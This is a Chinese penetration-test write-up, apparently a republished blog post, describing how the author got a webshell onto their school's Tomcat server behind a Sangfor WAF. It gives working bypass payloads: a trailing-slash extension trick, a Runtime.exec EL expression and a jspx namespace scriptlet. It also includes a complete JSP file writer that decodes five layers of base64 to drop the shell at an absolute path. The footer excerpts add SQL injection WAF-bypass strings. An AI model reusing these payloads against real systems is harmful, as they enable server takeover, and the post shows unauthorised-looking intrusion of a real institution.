记一次绕过waf的任意文件上传

VSole2022-05-30 08:39:24

0x01 前言

前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折。

期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作。

0x02 获取网站接口

主界面:

上传点:

由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie

任意文件上传:

文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母

0x03 后缀名绕过

代码不限制后缀名,但是waf限制呀!后缀名jspjspx会拦截,但是jsppjspxx等不会拦截。

所以要利用windows特性绕过,常规的绕过手法例如末尾加点号::$DATA均无法绕过。


经过fuzz,发现正斜杠可以绕过


纰漏: 查阅相关资料后发现,在后缀名绕过那里可以绕过是因为tomcat认为.jsp/在文件名中是非法的,Tomcat会自动去除非法的/号,并不是因为windows的特性。但.jsp\的反斜杠在本地测试时也可以正常解析去除,在目标机上却无法解析,个人感觉应该很大程度取决于所用的java库及其版本,这次算是误打误撞的成功了,以后还得多多学习,避免出现此类错误。

0x04 内容绕过

常见的jsp标记均无法绕过

所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种绕过方法。

  • jspEL表达式绕过
  • jspx命名空间绕过

参考链接:

https://yzddmr6.com/posts/jsp-webshell-upload-bypass/

第一种是利用${}标记:

payload:

${Runtime.getRuntime().exec(request.getParameter("x"))}

但深信服waf过滤了一句话,需要变形绕过,鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法。

第二种是利用命名空间的特性:

参照yzddmr6师傅的图:


使用自定义的命名空间,替换掉jsp的关键字,将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>,这样waf的正则匹配不到<jsp:scriptlet>自然就会放行


<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        out.println(30*30);
    </hi:scriptlet>
</hi>

0x05 获取网站路径

这里我们不能用相对路径来写入webshell因为TomcatApache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录

# 获取当前的根目录
String path = System.getProperty("user.dir");
out.println(path);

# 获取web项目所在的目录
String path = application.getRealPath("test.jsp");
out.println(path);

所以写入shell的绝对路径应为:

D:/tomcat8/webapps/declare/static/upload/test.jsp

0x06 编码或加密绕过waf写入shell

菜鸡的payload:

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过。

鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过。

成功getshell,System权限

看了一眼依赖,可能存在log4j2jackson的RCE,留着下次当靶场继续测试

0x07 总结

深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了。

学校其他站点有thinkphp5.0.23 RCE泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz。

wafbase64
本作品采用《CC 协议》,转载必须注明作者和本文链接
0x01 %00绕过WAF输入一个单引号页面报错首先闭合,这里用')闭合keywords=1') %23. order by x 被拦截,用--%0a代替空格即可直接上union select会一直卡着,没有任何返回把空格都改为--%0a,成功响应,在 select 跟 1,2,3... 之间用两个 --%0a 会无响应在 1 后面加上?并 url 编码,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过0x02 Base64WAF发现参数为 base64 编码测试字符发现页面报错,使用报错注入来出数据133 and updatexml. 这里可以使用16进制或者科学计数法0x1或1e1keywords=11'and-updatexml
前言前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作0x01 获取网站接口主界面:上传点:由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie任意文件上传:文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母0x02 后缀名绕过代码不限制后缀名,但是waf限制呀!
在一次测试中,遇到一个可以利用 XSS 的点,但是存在 BIG-IP ASM 防火墙,导致无法直接利用,在大神的帮助下完成了利用。随后经过自己的努力,也找到了一种绕过方式。0x01 XSS 漏洞发现测试中发现一个接口,参数 PAGEURL 可控,且输入的内容会原样响应在返回包中,如图:响应包如图:测试常规 payload 被 WAF 拦截,如图:响应包:可以看到被 WAF 拦截。
本篇文章通过 网络架构层、HTTP协议层、第三方应用层讲解了绕过WAF的常见方法一、网络架构层一般通过域名指向云WAF地址后反向实现代理,找到这些公司的服务器的真实IP即可实现绕过具体方法如下:1、查找相关的二级域名及同一域名注册者的其他域名解析记录。ISASP支持类似Unicode%u0027的编码,还会对不合法的URL编码进行字符删除。
webshell免杀之传参方式及特征绕过传参方式 在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏
绕过宝塔Getshell
2021-10-18 16:40:25
朋友丢过来一个站,说站点的webshell掉了,并且上了宝塔,但是后门还在,由于宝塔的原因迟迟无法再次getshell。正好不在乙方工作多年,好久没遇到WAF对抗了,就要过来看看。
VSole
网络安全专家